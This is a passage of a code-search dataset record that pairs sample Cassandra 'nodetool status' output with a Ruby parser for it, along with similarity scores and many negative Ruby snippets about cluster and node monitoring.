cluster_yml['master_ipbase']\n slave_ipbase = cluster_yml['slave_ipbase']\n\n master_infos = (1..master_n).map do |i|\n { :hostname => \"master#{i}\",\n :ip => master_ipbase + \"#{10+i}\",\n :mem => master_mem,\n :cpus => master_cpus\n }\n end\n\n slave_infos = (1..slave_n).map do |i|\n { :hostname => \"slave#{i}\",\n :ip => slave_ipbase + \"#{10+i}\",\n :mem => slave_mem,\n :cpus => slave_cpus\n }\n end\n\n analytics_node = cluster_yml['analytics_node']\n analytics_mem = cluster_yml['analytics_mem']\n analytics_cpus = cluster_yml['analytics_cpus']\n\n analytics_info = {\n :node => analytics_node,\n :mem => analytics_mem,\n :cpus => analytics_cpus\n }\n\n\n return { :master => master_infos, :slave=>slave_infos, :analytics=>analytics_info }\nend", "def client_code(component)\n puts \"RESULT: #{component.operation}\"\nend", "def node\n ENV['TS_NODE'] || 'node'\n end", "def command\n args = options[:args].join(' ')\n\n return \"python -E #{kernel} #{args} #{conversion}\"\n end", "def run(opts)\n dest = opts[:n].name\n cmd = opts[:c]\n\n ssh = RSpec.configuration.rspec_storage[:nodes][dest][:ssh]\n ssh_exec!(ssh, \"cd /tmp && sudo sh -c #{shellescape(cmd)}\")\n end", "def getNodeStatus(node_id) \n cm_url = APP_CONFIG['cm_ip'] + ':' + APP_CONFIG['cm_port'].to_s\n res = HTTParty.get(cm_url+\"/resources/node/\"+ node_id)\n # puts \"status \"+node_id\n # puts res\n return res\n\n end", "def telnet_cmd_chk(host, user, pass)\n sshdump=@@outdir + host + '-telnet_dump.txt'\n Dir.mkdir(@@outdir + host) unless File.exists?(@@outdir + host) and File.directory?(@@outdir + host)\n f=File.open(sshdump, 'w+')\n f.puts \"Host: #{host}\"\n f.puts \"User: #{user}\"\n f.puts \"Pass: #{pass}\"\n begin\n telnet = Net::Telnet::new( \"Host\" => \"#{host}\", \"Port\" => @port.to_i, \"Timeout\" => 10 )\n telnet.login(\"#{user}\", \"#{pass}\")\n rescue Timeout::Error\n begin \n telnet.cmd('dir') { |c| puts \"#{c}\".white; f.puts c; } # Try Windows Command First\n rescue Timeout::Error\n begin\n telnet.cmd('ls -lua') { |c| puts \"#{c}\".white; f.puts c; } # Fall back to Unix Command\n rescue Timeout::Error\n end\n end\n rescue Errno::EPIPE\n end\n f.puts\n telnet.close\n f.close\n puts\n end", "def output\n (value = parent.get(@name)).nil? ? @raw_command : value.to_s\n end" ]
[ "0.729716", "0.7255151", "0.65591836", "0.64272225", "0.62905943", "0.6068972", "0.55621904", "0.5561114", "0.553326", "0.5374738", "0.53602976", "0.5345723", "0.533696", "0.5305658", "0.5277773", "0.52724266", "0.5243136", "0.5241147", "0.51969904", "0.5177964", "0.5145338", "0.51358855", "0.5091157", "0.50832355", "0.5077872", "0.50774366", "0.50672096", "0.50670445", "0.5066309", "0.5049245", "0.5045994", "0.5043897", "0.5015291", "0.49947858", "0.4994337", "0.49943197", "0.49943197", "0.49740073", "0.49502552", "0.4940343", "0.4933198", "0.49327937", "0.49288884", "0.49132088", "0.49100664", "0.4900311", "0.48942518", "0.48926625", "0.48909435", "0.48860434", "0.48762378", "0.48756865", "0.48717952", "0.48666498", "0.48394132", "0.48382458", "0.48375016", "0.48341957", "0.4828407", "0.48157635", "0.48115605", "0.4801015", "0.47930032", "0.4789302", "0.47813454", "0.47802585", "0.4778174", "0.47654748", "0.47559252", "0.4754961", "0.4745801", "0.47450393", "0.4733252", "0.47290865", "0.4721626", "0.471984", "0.47196195", "0.47112", "0.47104418", "0.4705065", "0.4704882", "0.4702019", "0.47019604", "0.46980304", "0.46925828", "0.46673545", "0.46663806", "0.465822", "0.46463746", "0.46422347", "0.46421298", "0.4639787", "0.4635206", "0.46318573", "0.4628602", "0.4616031", "0.4614762", "0.46090597", "0.46072072", "0.46059275" ]
0.7289284
1
$ nodetool status Datacenter: LON5 ================ Status=Up/Down |/ State=Normal/Leaving/Joining/Moving Address Load Tokens Owns Host ID Rack UN 172.16.1.1 1.88 GB 256 ? 5uu5274d0c1c46f1b73cc28ffdcad10e A125 DN 172.16.1.2 2.55 GB 256 ? 4uu6478c0e29468cad38f417ccbcf403 A125 UL 172.16.1.3 3.24 GB 256 ? fuu0063da0334a7895e840a479d99a6b A125 UJ 172.16.1.4 4.92 GB 256 ? 1uuace8eaf9c4eff99771a34c09c5535 A125 UN 172.16.1.5 5.22 GB 256 ? 7uu9ee6cf0934fa0874b3f5bcaa5b952 A125
def parse_ndstatus# rubocop:disable all nodestatus = nodetool_cmd('status') nodestatus.each_line do |line| next if line.match(/^Datacenter:/) next if line.match(/^=======/) next if line.match(/^Status/) next if line.match(/State/) next if line.match(/^--/) next if line.match(/^Note/) if m = line.match(/^UN\s\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/)# rubocop:disable all address = m[1] ndstatus_attr = {"node.#{address}.status" => 'UN'} else m = line.match(/(\w+)\s\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) address = m[2] ndstatus = m[1] ndstatus_attr = {"node.#{address}.status" => ndstatus} critical ndstatus_attr.to_json end ok ndstatus_attr.to_json end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def nodetool_status()\n out = `/opt/cassandra/bin/nodetool status`\n raise 'nodetool status failed' if $? != 0\n rows = out.split(\"\\n\")\n hash = {}\n dc_exp = /Datacenter: (.*)/\n #vnode\n #-- Address Load Tokens Owns Host ID Rack\n #non-vnode\n #-- Address Load Owns Host ID Token Rack\n #node_ex = /^(?<status>[UD\\?][NLJM]) +(?<address>(?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +(?<load>(\\d+\\.?\\d* (TB|GB|MB|KB|bytes))|\\?) +(?<tokens>\\d+) +(?<owns>(\\d+\\.?\\d*%|\\?)) +(?<hostid>[a-z0-9\\-]+) +(?<rack>.*)$/\n node_ex = /^([UD\\?][NLJM]) +((?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +((?:\\d+\\.?\\d* (?:TB|GB|MB|KB|bytes))|\\?) +(\\d+) +(\\d+\\.?\\d*%|\\?) +([a-z0-9\\-]+) +(.*)$/\n datacenter = nil\n rows.each do |row|\n m = dc_exp.match(row)\n if m\n datacenter = m[1]\n next\n end\n m = node_ex.match(row)\n next if m == nil\n node = {'datacenter' => datacenter}\n hash[m[2]] = node\n i = 0\n %w(status address load tokens owns hostid rack).each do |name|\n node[name] = m[i += 1]\n end\n # m.names.each do |name|\n # node[name] = m[name]\n # end\n end\n return hash\n end", "def nodetool_info()\n out = `/opt/cassandra/bin/nodetool info`\n if $? == 0\n props = {}\n out.split(\"\\n\").each do |line|\n p = line.split(':')\n props[p.first.strip] = p.last.strip\n end\n return props\n else\n Chef::Log.warn(\"nodetool info failed with #{out}\")\n return nil\n end\n end", "def calc_full_nodes_avail\n @full_nodes_available = 0\n #if @cluster_title.eql?(\"Ruby\")\n # # See line 62\n #@full_nodes_available = nodes_info.lines(\"\\n\\n\").select { |node| node.include?(\"dedicated_threads = 0\") && node.include?(\"np = 20\") && node.include?(\"gpu_state=Unallocated\")}.size\n #else\n #@full_nodes_available = nodes_info.lines(\"\\n\\n\").select { |node| node.include?(\"dedicated_threads = 0\") && node.include?(\"gpu_state=Unallocated\") }.size\n #end\n end", "def nodetool_netstats\n @nodetool_netstats ||= DaemonRunner::ShellOut.new(command: 'nodetool netstats', timeout: 300)\n @nodetool_netstats.run!\n @nodetool_netstats.stdout\n end", "def get_anodes()\n nodes = [] ; 1.upto(32){|i|nodes << \"compute-0-#{i}\"}\n run_cluster(nodes, \"uptime\").map{|e|[e[0], e[1].scan(/\\d\\.\\d\\d/)[0].to_f, e[2]]}.sort_by{|e|e[1]} \nend", "def load_balancer_status\n puts\n @haproxy.identity_filter(@load_balancer)\n rpcresult = @haproxy.backend_status(:backend => 'puppetcamp')\n puts \"Enabled Nodes :\".green\n rpcresult.each do |enabled| \n enabled[:data][:enabled].each do |host|\n puts \" #{host}\".green\n end\n end\n puts\n puts \"Disabled Nodes :\".red\n rpcresult.each do |disabled|\n disabled[:data][:disabled].each do |host|\n puts \" #{host}\".red\n end\n end\n puts\nend", "def generate_lvs_nodes(c)\n dcnut = Datacenter.find_by_name(\"nut\")\n svc = c.cluster_nodes.map do |cn|\n if cn.node.is_server? and cn.node.datacenter == dcnut then\n [ip(cn.ip_address), ip(cn.node.mgmt_ip_address), dec2ip(cn.cluster.fw_mark), cn.node.hostname ] \n else\n nil\n end\n end.compact\n#########################################################33\nend", "def output_success\n puts \"status Cman node status for #{@hostname}\"\n @metrics.each do |name,v|\n puts \"metric #{name} #{v[:type]} #{v[:value]}\"\n end\nend", "def send_node_stats(node_ip)\n metrics_queue = Librato::Metrics::Queue.new\n\n cadvisor_res = Typhoeus.get(\"http://#{node_ip}:4194/api/v1.3/docker/\")\n data = Oj.load(cadvisor_res.body)\n\n data.values.each do |container|\n # Skip containers that aren't managed by kube:\n next if container['spec']['labels'].nil?\n\n # Parse the container name out of the container name auto-generated by kube\n # see https://github.com/kubernetes/heapster/blob/78ff89c01f52c0ab49dac2d356a8371e79482544/sources/datasource/kubelet.go#L156 \n container_name = container['aliases'].first.split('.').first.sub('k8s_','')\n\n # Join all of this together into a librato source name:\n source_name = ENV['CONTEXT'] + '.' + container['spec']['labels']['io.kubernetes.pod.name'].sub('/', '.') + '.' + container_name\n\n puts source_name\n\n stats = container['stats'].last\n\n # k8s_POD form the virtual network for a pod. We must collect net stats from this container,\n # since net counters for indvidual pod containers are always 0. See http://stackoverflow.com/questions/33472741/what-work-does-the-process-in-container-gcr-io-google-containers-pause0-8-0-d\n # for more info. No need to collect memory and cpu stats for this container.\n if container_name == 'POD'\n metrics_queue.add \"kube.network.tx_bytes\" => { type: :counter, value: stats['network']['tx_bytes'], source: source_name }\n metrics_queue.add \"kube.network.rx_bytes\" => { type: :counter, value: stats['network']['rx_bytes'], source: source_name }\n next\n end\n\n if stats['cpu']\n cpu_ms = stats['cpu']['usage']['total'] / 1000000\n metrics_queue.add \"kube.cpu.usage_ms\" => { type: :counter, value: cpu_ms, source: source_name }\n end\n \n if stats['memory']\n metrics_queue.add \"kube.memory.usage\" => { value: stats['memory']['usage'], source: source_name }\n metrics_queue.add \"kube.memory.rss\" => { value: stats['memory']['working_set'], source: source_name }\n end\n end\n\n metrics_queue.submit\nend", "def nodetool_statusgossip\n @nodetool_statusgossip ||= DaemonRunner::ShellOut.new(command: 'nodetool statusgossip')\n @nodetool_statusgossip.run!\n @nodetool_statusgossip.stdout\n end", "def status()\n\tneighbors = []\n $neighbors.each do |node, distance|\n neighbors << node\n end\n neighbors.sort\n msg = \"Name: \" + $hostname + \"\\n\"\n msg += \"Port: \" + $port + \"\\n\"\n msg += \"Neighbors: \" \n neighbors.each do |node|\n msg += node + \",\"\n end\n if msg[-1] == \",\"\n msg = msg.chop\n end\n STDOUT.puts msg\nend", "def state\n results = (nodetool_netstats || '').split(\"\\n\")\n results.map! { |line| line.strip }\n results.select! { |line| line.include? 'Mode:' }\n results.map! { |line| line.split(':')[1] }\n results.compact!\n return nil if results.size != 1\n results.first.strip.downcase.to_sym\n end", "def countNodeStatus(domain)\r\n nON = 0\r\n nOFF = 0\r\n nKO = 0\r\n d = (domain == \"default\") ? OConfig.GRID_NAME : domain\r\n url = \"#{OConfig[:tb_config][:default][:cmc_url]}/allStatus?domain=#{d}\"\r\n response = NodeHandler.service_call(url, \"Can't get node status from CMC\")\r\n doc = REXML::Document.new(response.body)\r\n doc.root.elements.each('//detail/*') { |e|\r\n attr = e.attributes\r\n state = attr['state']\r\n nON = (state.match(/^POWERON/)) ? nON + 1 : nON\r\n nOFF = (state.match(/^POWEROFF/)) ? nOFF + 1 : nOFF\r\n nKO = (state.match(/^NODE/)) ? nKO + 1 : nKO\r\n }\r\n puts \"-----------------------------------------------\"\r\n puts \"Testbed : #{d}\"\r\n puts \"Number of nodes in 'Power ON' state : #{nON}\"\r\n puts \"Number of nodes in 'Power OFF' state : #{nOFF}\"\r\n puts \"Number of nodes in 'Not Available' state : #{nKO}\"\r\n puts \"-----------------------------------------------\"\r\nend", "def calc_gpus_unallocated\n @gpus_unallocated = 0\n #if @cluster_title.eql?('Owens')\n # @gpus_unallocated = nodes_info.lines(\"\\n\\n\").select { |node|\n # !node.include?(\"dedicated_threads = 28\") && node.include?(\"Unallocated\") }.size\n # elsif @cluster_title.eql?('Pitzer')\n # @gpus_unallocated = nodes_info.lines(\"\\n\\n\").select { |node| !node.include?(\"dedicated_threads = 40\") }.to_s.scan(/gpu_state=Unallocated/).size\n # else @cluster_title.eql?('Ruby')\n # # See line 62. Excluding the two debug nodes from the calculation.\n # @gpus_unallocated = nodes_info.lines(\"\\n\\n\").select { |node| node.include?(\"Unallocated\") && !node.include?(\"dedicated_threads = 20\") && node.include?(\"np = 20\") }.size\n # @oodClustersAdapter.info_all_each { |job| p job}\n #end\n end", "def healthy_cluster_config\n {\n 'http://127.0.0.1:4001' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4002' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4003' => 'http://127.0.0.1:4001'\n }\n end", "def cluster_size\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes'].join('/')} | grep -o \"contexts\" | wc -l`\n end", "def getNodeStatus(node_id) \n cm_url = APP_CONFIG['cm_ip'] + ':' + APP_CONFIG['cm_port'].to_s\n res = HTTParty.get(cm_url+\"/resources/node/\"+ node_id)\n # puts \"status \"+node_id\n # puts res\n return res\n\n end", "def info\n return 'STATE=d' if @state == 'd'\n\n if @vm.vm_info\n guest_ip = @vm.vm_info['guest.ipAddress']\n else\n guest_ip = @vm['guest.ipAddress']\n end\n\n used_cpu = @monitor[:used_cpu]\n used_memory = @monitor[:used_memory]\n netrx = @monitor[:netrx]\n nettx = @monitor[:nettx]\n diskrdbytes = @monitor[:diskrdbytes]\n diskwrbytes = @monitor[:diskwrbytes]\n diskrdiops = @monitor[:diskrdiops]\n diskwriops = @monitor[:diskwriops]\n\n if @vm.vm_info\n esx_host = @vm.vm_info[:esx_host_name].to_s\n else\n esx_host = @vm['runtime.host.name'].to_s\n end\n\n if @vm.vm_info\n guest_state = @vm.vm_info['guest.guestState'].to_s\n else\n guest_state = @vm['guest.guestState'].to_s\n end\n\n if @vm.vm_info\n vmware_tools = @vm.vm_info['guest.toolsRunningStatus'].to_s\n else\n vmware_tools = @vm['guest.toolsRunningStatus'].to_s\n end\n\n if @vm.vm_info\n vm_name = @vm.vm_info['name'].to_s\n else\n vm_name = @vm['name'].to_s\n end\n\n if @vm.vm_info\n vmtools_ver = @vm.vm_info['guest.toolsVersion'].to_s\n else\n vmtools_ver = @vm['guest.toolsVersion'].to_s\n end\n\n if @vm.vm_info\n vmtools_verst = @vm.vm_info['guest.toolsVersionStatus2'].to_s\n else\n vmtools_verst = @vm['guest.toolsVersionStatus2'].to_s\n end\n\n if @vm.vm_info\n rp_name = @vm.vm_info[:rp_list]\n .select do |item|\n item[:ref] == @vm.vm_info['resourcePool']._ref\n end\n .first[:name] rescue ''\n\n rp_name = 'Resources' if rp_name.empty?\n else\n rp_name = @vm['resourcePool'].name\n end\n\n str_info = ''\n\n str_info = 'GUEST_IP=' << guest_ip.to_s << ' ' if guest_ip\n\n if @guest_ip_addresses && !@guest_ip_addresses.empty?\n str_info << 'GUEST_IP_ADDRESSES=\"' << @guest_ip_addresses.to_s \\\n << '\" '\n end\n\n str_info << \"#{POLL_ATTRIBUTE[:state]}=\" << @state << ' '\n str_info << \"#{POLL_ATTRIBUTE[:cpu]}=\" << used_cpu.to_s << ' '\n str_info << \"#{POLL_ATTRIBUTE[:memory]}=\" << used_memory.to_s << ' '\n str_info << \"#{POLL_ATTRIBUTE[:netrx]}=\" << netrx.to_s << ' '\n str_info << \"#{POLL_ATTRIBUTE[:nettx]}=\" << nettx.to_s << ' '\n\n str_info << 'DISKRDBYTES=' << diskrdbytes.to_s << ' '\n str_info << 'DISKWRBYTES=' << diskwrbytes.to_s << ' '\n str_info << 'DISKRDIOPS=' << diskrdiops.to_s << ' '\n str_info << 'DISKWRIOPS=' << diskwriops.to_s << ' '\n\n str_info << 'VCENTER_ESX_HOST=\"' << esx_host << '\" '\n str_info << 'VCENTER_GUEST_STATE=' << guest_state << ' '\n str_info << 'VCENTER_VM_NAME=\"' << vm_name << '\" '\n str_info << 'VCENTER_VMWARETOOLS_RUNNING_STATUS=' << vmware_tools << ' '\n str_info << 'VCENTER_VMWARETOOLS_VERSION=' << vmtools_ver << ' '\n str_info << 'VCENTER_VMWARETOOLS_VERSION_STATUS=' \\\n << vmtools_verst << ' '\n str_info << 'VCENTER_RP_NAME=\"' << rp_name << '\" '\n\n # @vm.info_disks.each do |disk|\n # str_info << \"DISK_#{disk[0]}_ACTUAL_PATH=\\\"[\" <<\n # disk[1].ds.name << '] ' << disk[1].path << '\" '\n # end\n\n str_info\n end", "def current_status\n if OperatingSystem.mac?\n return { os: {mac: 'mac' }}\n end\n\n if OperatingSystem.linux?\n top = %x(top -b -n 1)\n load_averages = top.split(\"\\n\")[0].partition(\"load average:\")[2].strip.split(\", \")\n puts \"Load last 1 minute: #{load_averages[0]}\"\n puts \"Load last 5 minutes: #{load_averages[1]}\"\n puts \"Load last 15 minutes: #{load_averages[2]}\"\n uptime = top.split(\"\\n\")[0].split(\", \")[0].partition(\"up\")[2].strip+','+top.split(\"\\n\")[0].split(\", \")[1]\n puts \"Uptime: #{uptime}\"\n user_sessions = top.split(\"\\n\")[0].split(\", \")[2].strip.to_i\n cpu = 100.0 - top.split(\"\\n\")[2].split(', ')[3].to_f\n puts \"Current User sessions: #{user_sessions}\"\n puts \"#{top.split(\"\\n\")[1]}\"\n puts \"% CPU (user processes): #{top.split(\"\\n\")[2].split(', ')[0].partition(\":\")[2]}\"\n puts \"% CPU (system processes): #{top.split(\"\\n\")[2].split(', ')[1]}\"\n puts \"% CPU (priority nice): #{top.split(\"\\n\")[2].split(', ')[2]}\"\n puts \"% CPU (idle): #{top.split(\"\\n\")[2].split(', ')[3]}\"\n puts \"% CPU (waiting for I/O): #{top.split(\"\\n\")[2].split(', ')[4]}\"\n puts \"% CPU (hardware interpts):#{top.split(\"\\n\")[2].split(', ')[5]}\"\n puts \"% CPU (software interpts):#{top.split(\"\\n\")[2].split(', ')[6]}\"\n puts \"RAM: #{top.split(\"\\n\")[3]}\"\n puts \"SWAP:#{top.split(\"\\n\")[4]}\"\n total_memory = top.split(\"\\n\")[3].split(' ')[2].to_f\n free_memory = top.split(\"\\n\")[3].split(' ')[6].to_f\n free_memory_perc = (free_memory / total_memory * 100).round\n swap_used = top.split(\"\\n\")[4].split(', ')[3].to_f\n\n disk_space = %x(df /tmp --total -k -h)\n puts \"Disk Space (Total): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[0]}\"\n puts \"Disk Space (Used): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[1]}\"\n puts \"Disk Space (Avail): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[2]}\"\n puts \"Disk Space (%Used): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[3]}\"\n disk_space_used = disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[3].to_i\n puts \"---\"\n\n {\n os: {\n up_time: uptime,\n load: load_averages[0],\n cpu: cpu,\n free_memory: free_memory_perc,\n disk_space: disk_space_used,\n swap_used: swap_used,\n }\n }\n end\n end", "def __cluster_info\n health = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/health\")))\n nodes = if version == '0.90'\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/?process&http\")))\n else\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/process,http\")))\n end\n master = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/state\")))['master_node']\n\n result = [\"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)].join(\"\\n\")\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '*' : '-'\n result << \"\\n\" +\n ''.ljust(20) +\n \"#{m} \".ansi(:faint) +\n \"#{info['name'].ansi(:bold)} \".ansi(:faint) +\n \"| version: #{info['version'] rescue 'N/A'}, \".ansi(:faint) +\n \"pid: #{info['process']['id'] rescue 'N/A'}, \".ansi(:faint) +\n \"address: #{info['http']['bound_address'] rescue 'N/A'}\".ansi(:faint)\n end\n\n result\n end", "def server_info\n {:node => \"riak@#{node.host}\", :server_version => '2.0'}\n end", "def target_num_nodes() ; info[:target_num_nodes] ; end", "def current_num_nodes() ; info[:current_num_nodes] ; end", "def checkSolrNodeStatus(solrPortNo)\n activeReplicas = 0\n recoveringReplicas = 0\n downReplicas = 0\n\n if(checkSolrProcessIsRunning(solrPortNo))\n coreListUrl = \"/solr/admin/cores?action=STATUS&wt=json\"\n\n coreApiResponse = solr_rest_api_get_auth(\"127.0.0.1\", solrPortNo, coreListUrl)\n\n if(coreApiResponse.code == '200')\n if !coreApiResponse.body.empty?\n coreApiJsonResponse = JSON.parse(coreApiResponse.body)\n coreNames = coreApiJsonResponse[\"status\"].keys\n failedCores = coreApiJsonResponse[\"initFailures\"].keys\n activeReplicas, recoveringReplicas, downReplicas, failedReplicas = computeReplicaStats(solrPortNo, coreNames, failedCores)\n end\n else\n raise \"Node is in down state.\"\n end\n else\n raise \"Node is in down state.\"\n end\n return activeReplicas, recoveringReplicas, downReplicas, failedReplicas\nend", "def __print_cluster_info(port)\n health = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_cluster/health\")))\n nodes = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_nodes/process,http\")))\n master = JSON.parse(Net::HTTP.get(URI(\"http://localhost:#{port}/_cluster/state\")))['master_node']\n\n puts \"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '+' : '-'\n puts ''.ljust(20) +\n \"#{m} #{info['name'].ansi(:bold)} | version: #{info['version']}, pid: #{info['process']['id']}, address: #{info['http']['bound_address']}\".ansi(:faint)\n end\n end", "def usage\n usage = 0\n instance.nodes.each do |node|\n data = DockerVolumeLocal::Node.new(node).remote_exec(\n %Q(sudo bash -c \"du --total --block-size 1024 -s #{DockerVolumeLocal.config[:docker_volume_path]}/#{instance.name}/_data | grep total\")\n )\n usage += data.split(\"\\t\")[0].strip.to_i\n end\n usage\n rescue\n nil\n end", "def configure_vna\n count = 0\n\n server_info('vna').each do |sv|\n count += 1\n\n cloudconductor_vnet_edge sv['hostname'] do\n vna_id \"vna#{count}\"\n hwaddr \"02:00:01:01:00:#{format('%02x', count)}\"\n datapath_id \"0x000200010100#{format('%02x', count)}\"\n end\n end\nend", "def pbsnodes(cluster_server)\n #cmd = pbs_bin.join(\"pbsnodes\").to_s\n args = [\"-s\", cluster_server, \":gpu\"]\n o, e, s = Open3.capture3(cmd, *args)\n s.success? ? o : raise(CommandFailed, e)\n rescue Errno::ENOENT => e\n raise InvalidCommand, e.message\n end", "def nodetool_statusthrift\n @nodetool_statusthrift||= DaemonRunner::ShellOut.new(command: 'nodetool statusthrift')\n @nodetool_statusthrift.run!\n @nodetool_statusthrift.stdout\n end", "def concurrent_count\n debug(\"Getting puppet status\")\n\n running = 0\n\n @puppet.status do |resp|\n begin\n running += resp[:body][:data][:running].to_i\n rescue Exception => e\n debug(\"Failed to get node status: #{e}, continuing\")\n end\n end\n\n running\nend", "def cluster_status\n # Default formatting changed to \"table\" in 3.8, need to explicity specify\n # \"erlang\" to parse output properly.\n installed_version = Gem::Version.new(installed_rabbitmq_version)\n version_requiring_formatter = Gem::Version.new('3.8.0')\n cmd = +'rabbitmqctl -q cluster_status'\n cmd << ' --formatter erlang' if installed_version >= version_requiring_formatter\n # execute > rabbitmqctl cluster_status\"\n # This removes an optional \"... Done\" linee that older version used to output\n Chef::Log.debug(\"[rabbitmq_cluster] Executing #{cmd}\")\n cmd = get_shellout(cmd)\n cmd.run_command\n cmd.error!\n result = cmd.stdout.squeeze(' ').gsub(/\\n */, '').gsub('...done.', '')\n Chef::Log.debug(\"[rabbitmq_cluster] #{cmd} : #{result}\")\n result\n end", "def read_host_info\n json { execute_prlctl('server', 'info', '--json') }\n end", "def print_node_info(node_params)\n @ui.info(\"Digital Ocean definition for host: #{node_params[:host]}, \"\\\n \"image:#{node_params[:image]}, size:#{node_params[:machine_type]}\")\n end", "def summary\n \" Discovered #{@discovered_nodes.count} live node(s)\"\n end", "def cluster_stats_includes_underscore_nodes?\n $client.version_support.es_version_5_x?\nend", "def ll_size()\n return @num_nodes\n end", "def list_nodes\n nodes = @vcenter['destfolder'].to_s + \"\\n\"\n @components.each do |component, _config|\n (1..@components[component]['count']).each do |i|\n nodes += @components[component]['addresses'][i - 1].ljust(18, ' ') +\n node_name(component, i) + @vcenter['domain'] + ' ' +\n @components[component]['runlist'].to_s + \"\\n\"\n end\n end\n nodes\n end", "def up\n uri = URI(\"http://#{@host}:#{@port_s}/_cluster/health\")\n req = Net::HTTP::Get.new(uri)\n\n begin\n result = JSON.parse run(uri, req)\n result[\"status\"] == \"yellow\" or\n result[\"status\"] == \"green\"\n rescue\n false\n end\n end", "def get_cluster_debug_report\n report = \"\\n\"\n primitives_status_by_node.each do |primitive, data|\n primitive_name = primitive\n primitive_name = primitives[primitive]['name'] if primitives[primitive]['name']\n primitive_type = 'Simple'\n primitive_type = 'Cloned' if primitive_is_clone? primitive\n primitive_type = 'Multistate' if primitive_is_multistate? primitive\n primitive_status = primitive_status primitive\n\n report += \"-> #{primitive_type} primitive '#{primitive_name}' global status: #{primitive_status}\"\n report += ' (UNMANAGE)' unless primitive_is_managed? primitive\n report += \"\\n\"\n report += ' ' if data.any?\n nodes = []\n data.keys.sort.each do |node_name|\n node_status = data.fetch node_name\n node_block = \"#{node_name}: #{node_status}\"\n node_block += ' (FAIL)' if primitive_has_failures? primitive, node_name\n nodes << node_block\n end\n report += nodes.join ' | '\n report += \"\\n\"\n end\n report\n end", "def cluster_status\n report_metric 'Cluster Status/Partitioned', 'nodes', rmq_manager.nodes.count { |n| Array(n['partitions']).any? }\n report_metric 'Cluster Status/Stopped', 'nodes', rmq_manager.nodes.count { |n| !n['running'] }\n end", "def node_cluster_id() ; info[:node_cluster] ; end", "def cluster_stats(url, time)\n\n logger.info \"cluster_stats:start: url = #{url}, time = #{time.to_i}\"\n\n jsonResponse = rest_call(url)\n response_hash = JSON.parse(jsonResponse)\n #puts response_hash\n node_count = response_hash['nodes'].count\n nodes = response_hash['nodes']\n\n #puts \"Total number of nodes in the cluster = #{node_count.to_s}\"\n\n #rebalance status in the cluster\n rebalanceStatus = response_hash['rebalanceStatus']\n rebalance = rebalanceStatus.eql?('none') ? 0 : 1\n\n #ram metrics in the cluster\n ram_total = response_hash['storageTotals']['ram']['total']\n ram_quota_total = response_hash['storageTotals']['ram']['quotaTotal']\n ram_quota_used = response_hash['storageTotals']['ram']['quotaUsed']\n ram_used = response_hash['storageTotals']['ram']['used']\n ram_used_by_data = response_hash['storageTotals']['ram']['usedByData']\n ram_quota_used_per_node = response_hash['storageTotals']['ram']['quotaUsedPerNode']\n ram_quota_total_per_node = response_hash['storageTotals']['ram']['quotaTotalPerNode']\n\n #cluster RAM level stats\n write_to_graphite( construct_metric_name('rebalance', CONST_CLUSTER_LEVEL), rebalance, time)\n write_to_graphite( construct_metric_name('ram_total', CONST_CLUSTER_LEVEL), ram_total.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_total', CONST_CLUSTER_LEVEL), ram_quota_total.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_used', CONST_CLUSTER_LEVEL), ram_quota_used.to_s, time)\n write_to_graphite( construct_metric_name('ram_used', CONST_CLUSTER_LEVEL), ram_used.to_s, time)\n write_to_graphite( construct_metric_name('ram_used_by_data', CONST_CLUSTER_LEVEL), ram_used_by_data.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_used_per_node', CONST_CLUSTER_LEVEL), ram_quota_used_per_node.to_s, time)\n write_to_graphite( construct_metric_name('ram_quota_total_per_node', CONST_CLUSTER_LEVEL), ram_quota_total_per_node.to_s, time)\n\n #HDD metrics in the cluster\n hdd_total = response_hash['storageTotals']['hdd']['total']\n hdd_quota_total = response_hash['storageTotals']['hdd']['quotaTotal']\n hdd_used = response_hash['storageTotals']['hdd']['used']\n hdd_used_by_data = response_hash['storageTotals']['hdd']['usedByData']\n hdd_free = response_hash['storageTotals']['hdd']['free']\n\n #cluster HDD level stats\n write_to_graphite( construct_metric_name('hdd_total', CONST_CLUSTER_LEVEL), hdd_total.to_s, time)\n write_to_graphite( construct_metric_name('hdd_quota_total', CONST_CLUSTER_LEVEL), hdd_quota_total.to_s, time)\n write_to_graphite( construct_metric_name('hdd_used', CONST_CLUSTER_LEVEL), hdd_used.to_s, time)\n write_to_graphite( construct_metric_name('hdd_used_by_data', CONST_CLUSTER_LEVEL), hdd_used_by_data.to_s, time)\n write_to_graphite( construct_metric_name('hdd_free', CONST_CLUSTER_LEVEL), hdd_free.to_s, time)\n\n nodes.each do |node|\n\n 